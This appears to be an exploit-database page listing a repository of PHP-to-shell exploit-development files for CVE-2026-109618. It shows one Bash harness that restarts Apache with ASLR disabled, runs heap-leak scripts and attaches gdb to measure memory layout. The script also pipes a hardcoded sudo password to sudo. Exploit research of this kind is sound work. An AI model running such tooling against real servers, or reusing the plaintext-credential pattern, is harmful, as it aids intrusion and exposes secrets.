Exploit databaseDownload repository ZIP
GH-6b6ab0b9bbc03480a3bb1de0b7ebeb41
thetowsif/php2shell-scan-patch
Sources for CVE-2026-109618
413 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files215
thetowsif/php2shell-scan-patchRevision 507d88ca37e0
- ↑..Parent directory
- abrt.gdb
- align8.py
- aslr_demo.sh
- aslr_run.py
- aslr_run2.py
- b0_fill.py
- b64_marker.py
- b_24cookie.py
- b_24hdr.py
- b_24hold.py
- b_8tail.py
- b_consume.py
- b_consume2.py
- b_crash7.py
- b_forge32_hdrK.py
- b_forge32_pad.py
- b_forge64.py
- b_forge64_first.py
- b_forge64_first17.py
- b_forge64_hdr.py
- b_forge64_hdrK.py
- b_forge64_host.py
- b_forge64_http.py
- b_forge64_httpN.py
- b_forge64_pre.py
- b_forge64_pre1.py
- b_forge64all.py
- b_ht56.py
- b_ht56_noforge.py
- b_htleak.py
- b_htleak2.py
- b_htleak3.py
- b_htleak3s.py
- b_nested.py
- b_nested2.py
- b_nested9.py
- b_nested_key.py
- b_numleak.py
- b_numleak2.py
- b_target.py
- bg_a.py
- bg_b.py
- bg_b_cookie.py
- bg_b_debug.py
- bg_b_file.py
- bg_b_first.py
- bg_cookie_a.py
- bg_create.py
- both1.gdb
- cal_b.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
php2shell-bypass-aslr-working-exp/tools/cal_h1.sh
Shell · 982 bytes#!/bin/bash
# Calibrate the crash-pair N1 after the heap-leak history H1:
# A_leak2 -> B_numleak2 -> (gdb) A_pad -> cal_b(N1)
# usage: cal_h1.sh N1
N1=$1
cd /home/debian/php2shell-work
S() { echo debian.qwe123 | sudo -S "$@"; }
S bash -c "apache2ctl -k stop 2>/dev/null; sleep 0.4; pkill -9 apache2; sleep 0.4; pkill -9 gdb; setarch \$(uname -m) -R /usr/sbin/apache2ctl -k start; sleep 0.5" >/dev/null 2>&1
S rm -f /tmp/sess_* /tmp/g_cal.log >/dev/null 2>&1
timeout 60 python3 send_a_leak2.py 1001 12 >/dev/null 2>&1
sleep 0.2
timeout 30 python3 b_numleak2.py 892 1 0x1000 >/dev/null 2>&1
sleep 0.2
M=$(pgrep -o -x apache2); W=$(pgrep -P $M -x apache2 | tail -1)
S nohup gdb -p $W -batch -x /tmp/g_cal3.gdb >/tmp/gdb_c3.log 2>&1 &
sleep 5
timeout 40 python3 send_a_pad.py 17 19 3 12 7:7 7:7 7:7 7:7 7:7 7:7 >/dev/null 2>&1
sleep 0.3
timeout 20 python3 cal_b.py $N1 1 167 55 >/dev/null 2>&1
sleep 2
S grep -E "^REF |^PSVARS" /tmp/g_cal.log | head -3
S pkill -9 gdb >/dev/null 2>&1